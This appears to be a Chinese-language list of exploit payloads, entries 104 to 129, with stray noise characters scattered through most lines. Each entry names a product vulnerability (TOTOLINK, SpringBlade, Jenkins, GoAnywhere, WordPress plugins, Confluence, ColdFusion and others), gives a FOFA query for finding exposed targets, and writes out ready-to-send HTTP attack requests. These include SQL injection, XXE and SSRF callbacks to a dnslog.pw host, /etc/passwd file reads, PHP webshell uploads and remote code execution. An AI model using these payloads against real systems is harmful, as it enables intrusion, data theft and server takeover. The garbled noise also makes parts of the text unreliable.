7 {2 |- v: I  h( Y( a  j<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

) R, g& Z4 H% s) K
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
  U7 S$ u0 G( G# x8 j3 {- }Host:192.168.0.1
8 S- F, H4 l; X& T, Q9 O) CContent-Length:41
9 }0 y! i) C* ^: W3 `Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
0 T7 z9 m! P- U. q, J6 g- WUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
2 L/ x/ @1 E* |) m) T/ qReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
6 v0 @' ?, m& o4 H6 W. E: HAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

9 w/ g2 j( v" r: k{
/ Y, Q6 X9 ]  r) G1 U( A7 V"topicurl":"getSysStatusCfg",
"token":""
}

0 |% q& |7 L4 |105. SpringBlade v3.2.0 export-user SQL 注入
" E5 q: C/ c- Y9 v; t9 D& qFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

- R  r4 h* s) T# p8 \106. SpringBlade dict-biz/list SQL 注入
/ R7 l2 X# r# g' P% ~) \FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" @2 x2 n& R, B) Z  ?Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
; ^' Z* w* r7 t1 R2 VConnection: close
3 K: u! \* L. x

$ P! E4 v# k" @- M8 |; B- m. l107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
, i$ b! M9 Z7 |; C! Z# x7 H4 IGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
; v9 l, O+ h: S/ LHost: your-ip
* y- L7 n4 @, [: ]! BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* U( f* U7 J# @8 E8 v* kBlade-Auth:替换为自己的
, J: Y: w$ E# ^  y! t$ yConnection: close
+ ~4 p" `6 X: [8 q2 ?1 N; d

3 n+ q1 x' |4 U1 `108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
% z) w5 Y4 ]" i6 Y& ^$ pGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
( q3 z: P: e( ~0 T3 k! oHost: your-ip
Accept: application/json, text/plain, */*
# X2 s8 t! ~6 i6 M7 X6 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
5 O' ?8 S+ Q+ @: Z1 LAccept-Encoding: gzip, deflate
% u/ U+ N: \5 X0 m, |! @- F( X  B0 rAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

# v3 `+ W. n* I  h/ h* k& M
109. Jenkins CLI 任意文件读取
( A0 [1 q% G3 q3 GCVE-2024-23897
FOFA：header="X-Jenkins"
2 j/ h9 {* k+ ^- q: l1 a/ [POST /cli?remoting=false HTTP/1.1
Host:
' @# Z3 V* _5 {  z% pContent-type: application/octet-stream
* D5 M1 E1 r& R, n) t7 Z6 m/ v5 \Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
Content-Length: 163
. V7 C9 B. D* J* O% _
+ p# d9 f; c0 k- M/ ?8 @- z) i( l1 ub'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
8 ~" z# K) v1 p7 s% G
1 f, E% ~/ r& a
POST /cli?remoting=false HTTP/1.1
Host:
, y' n$ b: R( \  i* H4 U$ T) H( uSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
- P! h/ z: W4 c2 b+ i% P0 M2 Ydownload
, O, _1 G/ J* JContent-Type: application/x-www-form-urlencoded
) W3 P4 G! p/ A- E4 cContent-Length: 0
) U& U2 V0 \* i5 P5 ]

2 S& @4 |7 R/ B& [ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
: W: {  w" O! Cjava -jar jenkins-cli.jar help
[COMMAND]
2 v0 ~7 Q: r5 d9 O7 G8 K4 q! \Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
! g$ k/ e9 T% h
: Z) |# s+ d  [5 Q0 a6 o
4 V7 t% g7 g1 y6 ?; b* }1 U# l110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
4 e* }4 t& X( F5 V4 E( T' R$ c/ jFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
$ `. N* Y* S2 R5 U! AGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
9 I: Y/ x! k* C. x6 }4 qUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
4 a$ e1 m. {9 ^& Q  mAccept: */*
Accept-Language: en
Accept-Encoding: gzip
" |4 j) Y1 W0 z+ j& v5 _

  E5 W, u+ J: L+ K* `/ l111. WordPress Plugin HTML5 Video Player SQL注入
; t% o3 U% P! s$ W2 SCVE-2024-1061
% x+ G- i: h5 q4 e. J' |) B' p$ wFOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
( ]1 M# Q0 b8 A. CHost: 192.168.40.130:112
1 c; K6 M6 W, I8 xUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
3 Y# r9 v& H, ]: C6 x* aConnection: close
Accept: */*
" p# s6 E- k  F# _' H5 d& ?( ~Accept-Language: en
6 m8 {) P  D( e1 U* Z% M- aAccept-Encoding: gzip
! j: B2 k8 U9 ?/ d
: |  e+ N1 o! O8 @! k
: R% @" v3 P8 ~. t112. WordPress Plugin NotificationX SQL 注入
5 o8 N% q  [- C6 @# n) kCVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
# A' \3 S: y' K  w# R6 y8 hPOST /wp-json/notificationx/v1/analytics HTTP/1.1
5 i9 T8 }$ Y7 g3 P  DHost: {{Hostname}}
+ h% e7 S1 `+ \: S7 pContent-Type: application/json
& Z2 L0 ~6 q! }2 H
. B, X6 k) a% m{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


113. WordPress Automatic 插件任意文件下载和SSRF
; L1 ]3 V- D+ U: W7 ~! z3 }CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
  G9 Z8 o# D, S, N) THost: x.x.x.x
- u1 z) N! ~2 J0 S3 ]User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
4 E% T( o+ j- |  l2 ?3 a' |Connection: close
3 w6 v& S5 ]; o9 @Accept: */*
8 P. T1 {4 Z3 ^* \, E( q! WAccept-Language: en
# S; |* G" w1 J- G  _1 dAccept-Encoding: gzip
. {- x& Z0 p7 I

114. WordPress MasterStudy LMS插件 SQL注入
4 |1 J6 d; X2 h- C: LFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
) V3 j) ~2 F3 kHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
5 X6 D, H  M3 J. x8 c5 B$ A! sAccept-Charset: utf-8
" K% F. }  ^0 ~3 i% r( GAccept-Encoding: gzip, deflate
Connection: close
8 i% {/ ]2 |4 z/ x+ x
. Z: a1 O& f+ B& h: d
5 U) e5 \5 ^0 R% [, Q$ d  D7 l' B115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
1 W% x+ g1 Z, q6 r) K第一步，获取网站的nonce值
; Q- l) R0 S; H4 s2 Z. k" t) VGET / HTTP/1.1
( C$ j8 ^+ t* {! W9 EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip


第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
! E% U9 w) E! n0 A/ V. iContent-Length: 356
Content-Type: application/json
% a6 i' E5 ~; L5 |" C9 @Accept-Encoding: gzip
4 M$ S* i+ _6 L. j( p
{
"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
" Q) ~" t% l! _) J        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
4 f$ @& S1 O& w" t8 t1 R        "objectType": "post"
7 |9 ]! F% W8 U+ z      }
; t' N1 j- \5 T9 h' t    }
  }
. G0 X# ?/ L3 e/ Q  S( W}
& f, I" \% s- F2 i

* \/ K( G# u" \7 P2 B$ I116. wordpress js-support-ticket文件上传
5 g) O3 C( s4 u4 j! m1 n) DFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
; X4 I" W$ L# {+ dHost:
# a. T3 r& z& G( q( UContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

+ Y) C! a1 l9 k% h----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
1 p- g3 ]" m4 n' I/ \, Y$ m% mjssupportticket
+ A) Z4 a3 x) w6 g/ F- X----------767099171
+ Z& r( X8 z: i( e: l* BContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
. _+ s8 m+ ^* A$ N, }' L/ i7 yContent-Type: image/png
----------767099171--


! a+ F8 x8 C0 d9 z117. WordPress LayerSlider插件SQL注入
9 q5 ^, V2 {4 Z% g( oversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
; ?: ]* u* U; L7 ~( S/ i3 pGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
8 |0 @9 G/ \# L0 l# x# h$ _Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
1 U) I: W* C5 v' _' m6 {% RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
, O7 f- M/ k1 v8 d! V, x. wUpgrade-Insecure-Requests: 1
+ [) s8 a, S& z2 ~4 ~4 F0 L6 H
; K- V; B$ B; P! H8 O! d5 M+ s
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
FOFA：title="Smart管理平台"
1 x, Q+ c, B3 r0 q6 u; MPOST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
, `9 u! A) P+ G7 u" B! VCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 y+ M& w4 e  J0 G7 m" qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
; M+ }" A! {4 D# L1 F5 _Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
" S8 p2 b6 a0 [6 ?- p+ SUpgrade-Insecure-Requests: 1
9 b* K& u& p& {1 o, N0 r* ~  \, gSec-Fetch-Dest: document
% n# A$ h0 B8 V. Z% l8 vSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
3 |% f' ]! X# y2 t2 RSec-Fetch-User: ?1
$ P5 u3 z3 {. d" C$ t3 e7 X( gTe: trailers
Connection: close
- t, v; v/ r8 n+ ~/ I+ m3 S  p
0 P) v( ~/ A5 q/ }6 J, O-----------------------------13979701222747646634037182887
% ~0 p$ i5 j) F- [7 lContent-Disposition: form-data; name="file_upload"; filename="contents.php"
: t/ e2 F& |$ P% w, p5 Z. ^6 W  bContent-Type: application/octet-stream
8 D- N) ?+ S0 a  {
<?php
5 I$ N5 t4 l2 vsystem($_POST["passwd"]);
?>
: X4 _( n) n9 u4 E-----------------------------13979701222747646634037182887
- ~( A, V( E4 l; F7 B7 K8 {4 _Content-Disposition: form-data; name="txt_path"

/home/src.php
-----------------------------13979701222747646634037182887--
# k+ O2 O( w- _5 V
* Z3 _, r$ [) F1 w0 S- t1 e& `. R
  k1 s7 i/ H/ W9 y访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
8 e& l, B9 h: d4 q& Z4 ~2 U# FCVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
+ P0 h( @0 v  W0 o: k5 d& eCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
1 G; l" b: e9 u- X7 oAccept: */*
$ M! y* ]  \; ~' E, pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
0 z' F. k# H  |/ t: k6 POrigin: https://58.18.133.60:8443
0 ^& `  j- G4 k- G; r4 d7 W8 y) ?- |Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
( Q* @$ k8 i* J  MSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
9 q# H- a. B2 F8 D0 fX-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
+ t$ O; H+ w# O0 y% O0 KX-Remote-Ip: 1.1.1.1
" h8 u! m: S: q, b2 S" dX-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close
+ r2 |/ H  Z5 O1 v$ Z& A
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
) v) a6 p+ T, y4 H) A3 l

& P+ Q& }+ }- x120. 北京百绰智能S40管理平台导入web.php任意文件上传
. `% E  Z7 w: k, j' Y' M- uCVE-2024-1253
* z. q/ R: v% WFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
# F  B4 E/ o. O  L3 F; Y" E! HUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
% L3 d8 u  X2 k1 V6 o9 @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ t! A1 _, j2 NAccept-Encoding: gzip, deflate
2 B, i# v, j( q2 i9 N1 CContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
, j* r, Y& ]0 X1 C; nContent-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
4 c2 n7 p3 ~1 ~. [; jSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
) _, h3 D! ~* h. A1 UConnection: close
( {+ O5 L2 Z$ e4 O) I( x9 D/ R6 c
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

' z/ j$ i( U7 L9 J<?php phpinfo()?>
/ X2 [' }/ J& S) R- @0 P-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

3 D& W/ a- y; K5 r7 S1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
5 g2 _, Q) J7 n/ Q) _1 a. b
; A9 [" J7 H0 L+ Y( Timport
8 b$ {3 @: g3 q9 C2 Y; k+ Z-----------------------------42328904123665875270630079328
5 Y* Q* ]  @1 H4 w: Y

文件路径/upload/2.php

121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
, Q$ m$ F) B: q& q. H' m# @5 RHost: 192.168.40.130:8443
: h, g* F3 I# C' GCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
" _% N# Y$ C2 z. p9 a7 J4 F0 B! FContent-Length: 592
Origin: https://192.168.40.130:8443
5 C  ?) ?) i( J) W+ q( vUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
/ H- ], c3 O2 VTe: trailers
- e9 C0 a7 A% k% o" b, B, h; OConnection: close

4 I1 I/ k/ K, i0 o: t" i( D9 a-----------------------------42328904123665875270630079328
- d, b& q: {. P% u; ~, BContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
-----------------------------42328904123665875270630079328
! Q0 B! A* @$ O* {4 C1 RContent-Disposition: form-data; name="id_type"
; x' R, i6 W3 a  W! p
1
-----------------------------42328904123665875270630079328
8 c$ D: J8 N0 g' J& {" h! y, LContent-Disposition: form-data; name="1_ck"

: N/ q% ~8 q9 ^) {) r9 }/ s$ X' t( K1_radhttp
$ n, I1 _  q! ]-----------------------------42328904123665875270630079328
' ^6 q( M0 @$ x& F7 F0 e1 hContent-Disposition: form-data; name="hidwel"
$ a' z5 R) M  l. D/ l; \
- o9 X( b' Z& }+ {+ `! dset
3 o/ J: P/ _, @# I% Q$ G7 `-----------------------------42328904123665875270630079328
) F; F7 [2 b  G3 _
$ s% Q0 e+ z  P6 K: L
8 G" Q3 w6 q0 ?: ^/ d( K5 v" {boot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
# g6 x$ H5 \1 |5 o  x其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
: d9 n7 [$ \& _! }, W; A) KHost: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
2 m4 }+ d- t0 Y' xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& I+ A7 N6 a7 q. k5 SAccept-Encoding: gzip, deflate, br
/ `1 j/ z8 G" C8 r* `Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
6 D/ |+ P- m! G. \2 pTe: trailers
" x- c% m. p# B: [. }. kConnection: close
: T# S# P5 X) {  X# X

% A, e8 B9 {! R! z9 J: c  C123. Atlassian Confluence 模板注入代码执行
( Q; l5 {2 |, i1 E# O, ?FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
9 a0 K1 [; I4 W' zAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
- z4 _/ w/ y, b7 \* U3 _Connection: close
; r5 o; u6 T+ a3 }1 P# I: ]  J4 bContent-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

9 Y$ V! B) G. L0 d/ R5 t, g
124. 湖南建研工程质量检测系统任意文件上传
8 f2 d6 C- [- {0 BFOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
. S0 {, t0 u" m) B* ?Host: 192.168.40.130:8282
! X2 m3 g  D* m0 pUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
" b) ?$ _# t" WContent-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
3 a7 L" {; v1 |8 z) V6 f: HAccept-Encoding: gzip, deflate, br
5 I+ r, ]+ q. ~  [# g: j3 l+ I- O8 @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) ^+ c1 [: u. Z( J: JConnection: close
Content-Type: application/x-www-form-urlencoded
( u! T8 V% ^# f' _# r3 `/ f" a& }$ Z- V
/ ^; I1 Z' f5 g- F* i% ufilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


3 b3 h) `/ r; Q0 ehttp://192.168.40.130:8282/Scripts/abcgcg.aspx
, J0 G' M, n  ?4 t. Y" w6 B# M
) l  `/ V: k7 e; _, n' O% ^, j" E. L125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
  q# b* U/ S0 o0 j# n0 qFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc


# T- ?: x7 f. e" J, J& K) J( K5 D使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

0 ~" ^" c; U/ O2 Y0 V+ e. O
创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
0 x/ _( B; o7 t# R, h7 L/ ?- dGET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
( q( U' p7 `9 E9 t7 w9 SConnection: close
' m/ \' o! e; r, l5 I5 KAccept: */*
6 P1 H) A" k" o) e$ LAccept-Language: en
Accept-Encoding: gzip


: x8 k8 Z8 j) M; v6 M2 P; v127. 广联达Linkworks DataExchange.ashx XXE
$ S$ e2 L7 {3 T! o1 yFOFA：body="Services/Identification/login.ashx"
3 y- Q, }% T/ P6 Z9 \POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
- N0 z! S" e7 r5 h$ u9 ]Host: 192.168.40.130:8888
8 i  ?7 G! w  @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
( V- {' L6 G) KContent-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 e5 f+ \& L# _8 a' E. qAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) h4 h+ \2 C+ x! JConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
1 t, q: {$ w' D- A" q0 vSec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
3 g& n# G* Q9 v( U) l
BIM
, d& N2 H- \' n------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain
# I5 \- j% z- a
<?xml version="1.0" encoding="UTF-8"?>
8 o% f. z1 _) H4 C7 F2 b<!DOCTYPE test [
% h6 u7 i: `9 h! L3 T<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--
) `: `# A/ T& b1 R9 l( d
/ r$ `3 }2 T; q. p' P% f- ?" B
/ e, P% m+ Y8 V" e' _
128. Adobe ColdFusion 反序列化
  d* b3 i1 J" x) O3 hCVE-2023-38203
8 Q0 H! Y/ D- L7 ^$ YAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD

, Z& E  {3 Q# A3 {$ u! w; }129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
- o& N0 A6 S5 v9 i( b) B. fFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
: l+ {' B: P0 j0 u: P: P+ o第一步，获取uuid
, @# R, v% ?! D+ hGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
  I$ l' i9 Y: AHost: x.x.x.x
) M; M. o9 Z! [# X8 bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
' t- M. k/ t6 u3 IAccept: */*
Accept-Encoding: gzip, deflate
2 _) i. Q# m, Q. TConnection: close


第二步，读取/etc/passwd文件
0 l! w: e: u. u6 r8 MGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
( k4 w9 m9 M& _+ C8 k* ?Host: x.x.x.x
